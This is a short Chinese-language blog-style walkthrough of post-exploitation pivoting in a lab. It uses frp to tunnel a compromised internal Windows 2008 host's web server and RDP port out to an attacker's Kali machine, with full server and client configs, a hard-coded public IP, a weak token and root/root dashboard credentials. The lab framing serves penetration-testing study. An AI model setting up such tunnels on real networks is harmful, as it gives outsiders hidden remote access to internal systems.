使用frp把目标端口的服务代理出来
题记
昨天完成的是内网通路的打通,今天来玩frp映射单个服务,也是很有意思的。
工具
Kali:有外网ip:103.234.72.5
Windows2008:开放80(靶场http服务)与3389(远程桌面服务),ip:192.168.0.132
使用FRP映射web服务
Kali作为服务端,服务端启动./frps -c frps.ini,服务端的配置frps.ini如下:
[common] bind_addr = 103.234.72.5 bind_port = 7000 dashboard_addr = 103.234.72.5 dashboard_port = 27500 dashboard_user = root dashboard_pwd = root token = 1q2w3e heartbeat_timeout = 90
内网主机作为客户端,客户端启动frpc.exe -c frpc.ini,客户端的配置文件 frpc.ini如下
[common] server_addr = 103.234.72.5 server_port = 7000 token = 1q2w3e [HTTP] type=tcp local_ip = 127.0.0.1 local_port = 80 #要映射的本地端口 remote_port = 8080 #要映射的服务端端口,因为我kali的80端口被占用我就把它改成了8080 custom_domains=www.test.com #这个必须要写
都启动后可以看见链接情况,访问103.234.72.5:8080就是访问192.168.0.132的80端口
使用FRP映射3389端口
Kali作为服务端,服务端启动./frps -c frps.ini,服务端的配置frps.ini如下:
[common] bind_addr = 103.234.72.5 bind_port = 7000 dashboard_addr = 103.234.72.5 dashboard_port = 27500 dashboard_user = root dashboard_pwd = root token = 1q2w3e heartbeat_timeout = 90
内网主机作为客户端,客户端启动frpc.exe -c frpc.ini,客户端的配置文件 frpc.ini如下
[common] server_addr = 103.234.72.5 server_port = 7000 token = 1q2w3e [3389] type=tcp local_ip = 127.0.0.1 local_port = 3389 remote_port = 3389
服务启动后就可以利用kali的ip远程桌面链接目标服务器了。
可以看到成功3389登入并且服务器退出。